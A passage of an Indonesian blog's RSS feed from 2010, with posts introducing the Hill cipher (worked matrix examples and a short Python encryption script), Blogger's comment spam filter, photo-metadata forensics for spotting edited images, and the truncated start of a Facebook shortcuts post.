domain="http://www.blogger.com/atom/ns#">Cryptography</category><title>Pengenalan Enkripsi Kode Hill</title><description>&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;/span&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TG9el_IH28I/AAAAAAAAAZo/6bHq68TA3X4/s1600/sciam_cryptography_final.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TG9el_IH28I/AAAAAAAAAZo/6bHq68TA3X4/s320/sciam_cryptography_final.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;Pendahuluan&lt;br /&gt;
&lt;/strong&gt;Kode Hill ditemukan oleh Lester S. Hill pada tahun 1929. Kode Hill termasuk salah satu system kripto polialfabetik, yang berarti setiap karakter alphabet bisa dipetakan ke lebih dari satu macam karakter.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;Pembahasan&lt;/strong&gt;&lt;br /&gt;
Misalkan m adalah bilangan bulat positif, dan Plaintext = Chiper = (Z26)m. Ide dari kode Hill adalah dengan mengambil m kombinasi linear dari m karakter alphabet dalam satu elemen teks-asli sehingga dihasilkan m alphabet karakter dalam satu elemen teks-asli.&lt;br /&gt;
Misalkan m=2 maka dapat ditulis suatu elemen teks-asli sebagai x = (x1, x2) dan suatu elemen teks kode sebagai y = (y1, y2). Di sini y1, y2 adalah kombinasi linear dari x1 dan x2. Misalkan:&lt;br /&gt;
y1 = 11×1 + 3×2&lt;br /&gt;
y2 = 8×1 + 7×2&lt;br /&gt;
dapat ditulis dalam notasi matrix sbb:&lt;br /&gt;
&lt;code&gt;(y1,y2)=(x1,x2)&lt;br /&gt;
K:&lt;br /&gt;
|11 8|&lt;br /&gt;
|3  7|&lt;/code&gt;&lt;br /&gt;
Secara umum dengan menggunakan matriks K m x m sebagai kunci.&lt;br /&gt;
Mungkin agak kurang paham ya? Ok supaya lebih paham langsung kasih contoh enkripsinya.&lt;br /&gt;
Kita gunakan Key yang diatas yaitu:&lt;br /&gt;
&lt;code&gt;|11 8|&lt;br /&gt;
|3  7|&lt;/code&gt;&lt;br /&gt;
Maka lakukan operasi perkalian matriks, yaitu baris * kolom.&lt;br /&gt;
Dengan menggunakan matriks 2 x 2, maka:&lt;br /&gt;
&lt;code&gt;G4 -&amp;gt; (6, 4)|11 8|&lt;br /&gt;
•   |3  7|&lt;br /&gt;
= ((6*11)+(4*3) , (6*8)+(4*7)) = (66+12 , 48+28)&lt;br /&gt;
= (78 , 76) mod 26 = (0 , 24) =&amp;gt; AY&lt;/code&gt;&lt;/span&gt;   &lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;PT -&amp;gt; (15, 19)|11 8|&lt;br /&gt;
•     |3  7|&lt;br /&gt;
= (165+57 , 120+133) = (222 , 253) mod 26 = (14 , 19) =&amp;gt; OT&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;3K -&amp;gt; (3, 10)|11 8|&lt;br /&gt;
•    |3  7|&lt;br /&gt;
= (33+30 , 24+70) = (63 , 94) mod 26 = (11 , 16) =&amp;gt; LQ&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
•             |3  7|&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Plain Text  : G4PT3K&lt;br /&gt;
Chiper Text : AYOTLQ&lt;br /&gt;
Key    : |11 8|&lt;br /&gt;
•     |3  7|&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;——– &lt;strong&gt;Dekripsi&lt;/strong&gt; ——–&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
Untuk dekripsinya, hanya bisa dilakukan jika matriks dari Key memiliki inversi, dengan catatan suatu matriks memiliki inversi hanya jika determinannya tidak nol. Contoh untuk mendapatkan inversnya, maka:&lt;br /&gt;
|11 8| |a1 a2| = |1 0|&lt;br /&gt;
|3  7| |a3 a4| = |0 1|&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;11*a1 + 8*a3 , 11*a2 + 8*a4 = 1 0&lt;br /&gt;
3*a1  + 7*a3 , 3*a2  + 7*a4 = 0 1&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;dari perhitungan diatas, menghasilkan invers dari matriks Key:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
|7  18|&lt;br /&gt;
|23 11|&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;jadi untuk dekripsinya:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
AY =&amp;gt; 0, 24&lt;br /&gt;
(0, 24)|7  18|&lt;br /&gt;
•       |23 11|&lt;br /&gt;
= (0*7 + 24*23 , 0*18 + 24*11) = (552 , 264) mod 26 = (6 , 4) =&amp;gt; G4&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;OT =&amp;gt; 14, 19&lt;br /&gt;
(14, 19)|7  18|&lt;br /&gt;
•       |23 11|&lt;br /&gt;
= (14*7 + 19*23 , 14*18 + 19*11) = (535, 461) mod 26 = (15 , 19) =&amp;gt; PT&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;LQ =&amp;gt; 11, 16&lt;br /&gt;
(11, 16)|7  18|&lt;br /&gt;
•        |23 11|&lt;br /&gt;
= (11*7 + 16*23 , 11*18 + 16*11) = (445 , 374) mod 26 = (3 , 10) =&amp;gt; 3K&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Sebagai tambahan, berikut source code untuk enkripsi kode hill dengan bahasa python:&lt;br /&gt;
&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;#!/usr/bin/python&lt;br /&gt;
# hill c0de encryption algorithm&lt;br /&gt;
# by:5ynL0rd&lt;br /&gt;
# thanks to g4pt3k&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;import string&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;text = string.ascii_lowercase&lt;br /&gt;
numeric = string.digits&lt;br /&gt;
cchar = 0&lt;br /&gt;
cmatrix = 0&lt;br /&gt;
listplain = []&lt;br /&gt;
result = []&lt;br /&gt;
plaintext = raw_input(“plain text:”)&lt;br /&gt;
print ”’&lt;br /&gt;
format key = [a b]&lt;br /&gt;
[c d]&lt;br /&gt;
”’&lt;br /&gt;
key11 = input(“a = “)&lt;br /&gt;
key12 = input(“b = “)&lt;br /&gt;
key21 = input(“c = “)&lt;br /&gt;
key22 = input(“d = “)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;while cchar &amp;lt; len(plaintext):&lt;br /&gt;
num = plaintext[cchar]&lt;br /&gt;
try:&lt;br /&gt;
listplain.append(text.index(num))&lt;br /&gt;
except:&lt;br /&gt;
listplain.append(numeric.index(num))&lt;br /&gt;
cchar += 1&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;while cmatrix &amp;lt; len(plaintext):&lt;br /&gt;
try:&lt;br /&gt;
res1 = listplain[cmatrix] * key11&lt;br /&gt;
res2 = listplain[cmatrix+1] * key21&lt;br /&gt;
res3 = listplain[cmatrix] * key12&lt;br /&gt;
res4 = listplain[cmatrix+1] * key22&lt;br /&gt;
result.append(text[(res1+res2)%26])&lt;br /&gt;
result.append(text[(res3+res4)%26])&lt;br /&gt;
except:&lt;br /&gt;
pass&lt;br /&gt;
cmatrix += 2&lt;br /&gt;
print “plain text  : %s”%plaintext&lt;br /&gt;
print “cipher text : %s”%string.join(result,”")&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Contoh output:&lt;br /&gt;
plain text:g4pt3k&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;format key = [a b]&lt;br /&gt;
[c d]&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;a = 11&lt;br /&gt;
b = 8&lt;br /&gt;
c = 3&lt;br /&gt;
d = 7&lt;br /&gt;
plain text  : g4pt3k&lt;br /&gt;
cipher text : ayotlq&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-4303382291111000432?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/xPQfKzIdTyc" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/xPQfKzIdTyc/pengenalan-enkripsi-kode-hill.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://4.bp.blogspot.com/_xxdfU1yNW68/TG9el_IH28I/AAAAAAAAAZo/6bHq68TA3X4/s72-c/sciam_cryptography_final.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/pengenalan-enkripsi-kode-hill.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-1674893146520438118</guid><pubDate>Thu, 12 Aug 2010 22:23:00 +0000</pubDate><atom:updated>2010-08-12T15:23:55.161-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">trik bloging</category><category domain="http://www.blogger.com/atom/ns#">new gadget for blogger</category><title>Fitur spam filter pada blogspot</title><description>&lt;h3 class="post-title entry-title" style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Fitur spam filter pada blogspot&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="post-title entry-title" style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small; font-weight: normal;"&gt;Blog sudah merupakan bagian dari kehidupan kita karena blog juga bisa  sebagai media komunikasi di dunia maya. Karena memang sudah sifat dasar  manusia untuk bersosialisasi dengan manusia yang lainnya. Blog yang  ideal menurut saya adalah blog yang bisa memberikan komunikasi 2 arah  baik dari penulis dengan pembacanya, sehingga terjadi dialog yang aktif  dan bukannya satu arah atau monolog. Dengan memberikan komentar pada  suatu artikel akan membangun diskusi yang interaktif dan tentu arahnya  akan menjalin komunitas dengan blogger lainnya. Namun kadang kala ada  komentar yang di berikan pada suatu artikel hanya mengharapkan tautan  atau backlink karena ada beberapa blog yang menerapkan do follow untuk  memberikan apresiasi kepada pembacanya sebuah backlink gratis dari blog  tersebut, namun rasanya banyak di salah artikan dengan memberikan  komentar sampah atau spam dengan harapan keyword pada komentarnya di  index oleh mesin pencari dan tentunya hal ini bisa berakibat merugikan  bagi blog yang menerapkan dofollow karena akan memberikan outbound link  lebih banyak daripada inbound link.&lt;/span&gt;&lt;/h3&gt;&lt;h3 class="post-title entry-title" style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small; font-weight: normal;"&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
Khususnya pengguna blogspot yang memang tidak ada plugin spam yang bisa  di install di blogspot beda halnya dengan pengguna wordpress yang  menyediakan plugin anti spam untuk menghindari komentar-komentar spam  yang di lakukan oleh orang yang tidak bertanggung jawab. Nah, kali ini  blogspot mengeluarkan fitur spam filter yang hanya tersedia di beberapa  blog saja, dengan menambahkan fitur spam filter akan membuat blog  setidaknya lebih aman dari komentar-komentar spam yang secara otomatis  akan terhapus oleh system. Kalau mau beritanya lebih lengkap silahkan  menuju sumbernya &lt;a href="http://buzz.blogger.com/2010/08/new-comments-system-on-blogger.html"&gt;blogger buzz&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/h3&gt;&lt;div style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: justify; text-decoration: none;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;h3 class="post-title entry-title" style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-1674893146520438118?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/8svtdzMwcyI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/8svtdzMwcyI/fitur-spam-filter-pada-blogspot.html</link><author>noreply@blogger.com (pandewa)</author><thr:total>4</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/fitur-spam-filter-pada-blogspot.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-7240587480640645235</guid><pubDate>Wed, 11 Aug 2010 04:04:00 +0000</pubDate><atom:updated>2010-08-10T21:55:03.673-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">digital forensik</category><category domain="http://www.blogger.com/atom/ns#">meta data</category><title>Digital Forensik Ke Aslian Suatu Photo</title><description>&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small;"&gt;&lt;b&gt;igital Forensik Ke Aslian Suatu Photo&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIhv4YYIGI/AAAAAAAAAYw/969yVxK5-i8/s1600/forensic_image150.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIhv4YYIGI/AAAAAAAAAYw/969yVxK5-i8/s320/forensic_image150.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Seiring dengan kemajuan dunia teknologi, dan juga dalam bidang Multimedia, tidak&amp;nbsp; terlepas dari sebuah kenyataan mengenai isyu-isyu tentang gambar/&amp;nbsp; foto-foto yang menghebohkan.Hal ini membuat orang awam yang kurang tahu, akan benar-benar tertipu. Lantas, bagaimana membedakan antara gambar palsu atau tidak?&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;anda tentunya mengenal Roy Suryo, yang memberikan kesaksiannya mengenai ke-absahan suatu foto ? nah, pernahkah terlintas dalam pikiran anda, bagaiman cara Roy Suryo tersebut dalam melihat keabsahan foto-foto tersebut ? &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;let's begin ...:)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;Dalam tutorial kali ini, kita akan menggunakan metode Meta data, Pada dasarnya, metadata adalah data dalam file yang dibuat untuk keperluan manajemen. Untuk jenis data gambar (image), metadata mengandung informasi mengenai siapa pemotretnya, kapan pemotretannya, dan setting kamera pada saat dilakukan pemotretan, dll.&lt;br /&gt;
&lt;br /&gt;
Tools: &lt;a href="http://impulseadventure.com/photo/jpeg-snoop.html" target="_blank"&gt;http://impulseadventure.com/photo/jpeg-snoop.html&lt;/a&gt;&lt;br /&gt;
Namun, untuk lengkapnya bisa anda dapatkan di catatan mengenai: Restricted Area: Digital Forensic (Reuse, Reduce, n Recovery Data di FD atau HDD) khusunya pada bagian Tools Analisa Data.&lt;/span&gt; .&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;misalkan gambar saya berikut ini (zul, ma'f ya, aQ ngambil photomu dari Fb tampa ijin )&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;*) klik gambar untuk memperbesar&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style="color: red;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt;Asli&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIbQalNT3I/AAAAAAAAAYQ/KgegtukxG48/s1600/patiakrokok.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIbQalNT3I/AAAAAAAAAYQ/KgegtukxG48/s320/patiakrokok.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Foto asli, Tanpa Editing&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIcBWHagJI/AAAAAAAAAYY/o9ssiuSo3xQ/s1600/patiak_rokok.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIcBWHagJI/AAAAAAAAAYY/o9ssiuSo3xQ/s320/patiak_rokok.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt;Palsu&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIfAq8kGoI/AAAAAAAAAYg/SwBUmcfj7Jk/s1600/edit_patiakrokok.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIfAq8kGoI/AAAAAAAAAYg/SwBUmcfj7Jk/s320/edit_patiakrokok.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Foto setelah d beri blur&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIfG_a0stI/AAAAAAAAAYo/d7gHcBw1dqg/s1600/ntahlah.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIfG_a0stI/AAAAAAAAAYo/d7gHcBw1dqg/s320/ntahlah.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;span style="color: black;"&gt;Pada data diatas terlihat jelas mengenai jenis software yaitu; Adobe Phothoshop CS4 Windows, dengan Kualitas menyimpan gambar 12, dan mode IRB nya telah teridentifikasi juga sebagai Phothoshop.&lt;/span&gt;&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;ingat, wlau sekecil apapun anda mengedit foto, (contoh diatas saya menambahkan sedikit blur) akan tetap ketahuan :)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;sekarang saya akan mencoba melihat ke-absahan dari foto penampakan Hantu yang saya ambil dari primbon &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_xxdfU1yNW68/TGIi3y65QZI/AAAAAAAAAY4/pakIiRwJcbc/s1600/hantu628.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_xxdfU1yNW68/TGIi3y65QZI/AAAAAAAAAY4/pakIiRwJcbc/s320/hantu628.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;katanya, yang putih itu penampakan. benarkah ?&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIjtXKpffI/AAAAAAAAAZA/gI8n7K1XuXc/s1600/palasu.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TGIjtXKpffI/AAAAAAAAAZA/gI8n7K1XuXc/s320/palasu.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;sekarang dapat kita lihat, bahawa foto diatas adalah&lt;span style="color: red;"&gt; murni hasil editing&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;span id="goog_609458746"&gt;&lt;/span&gt;&lt;span id="goog_609458747"&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="color: red;"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;semua yang anda dengar, anda lihat, namun cobalah untuk menelaah sebelum mempercayai-nya &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-7240587480640645235?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/uUOW3Vq-dbI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/uUOW3Vq-dbI/digital-forensik-ke-aslian-suatu-photo.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://4.bp.blogspot.com/_xxdfU1yNW68/TGIhv4YYIGI/AAAAAAAAAYw/969yVxK5-i8/s72-c/forensic_image150.jpg" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/digital-forensik-ke-aslian-suatu-photo.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-3963218106072236482</guid><pubDate>Mon, 09 Aug 2010 16:54:00 +0000</pubDate><atom:updated>2010-08-09T09:55:28.521-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">FaceBook</category><title>Tombol Rahasia Untuk Facebook</title><description>&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Tombol Rahasi Facebook&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TGAynxB8qmI/AAAAAAAAAYI/hak_jideN20/s1600/facebook-03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TGAynxB8qmI/AAAAAAAAAYI/hak_jideN20/s320/facebook-03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;setelah sebelumnya artikel saya mengenai artikel ringan seputar &lt;a href="http://naksangka.blogspot.com/search/label/FaceBook"&gt;facebok&lt;/a&gt; , kambali lagi dalam artikel ini akan saya hadirkan sorchut yang dapat mempermudah aktifitas kita dalam berfacebook ria :), langsung saja, berikut tombol-tombol rahasia di facebook yang dapat kita manfaatkan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
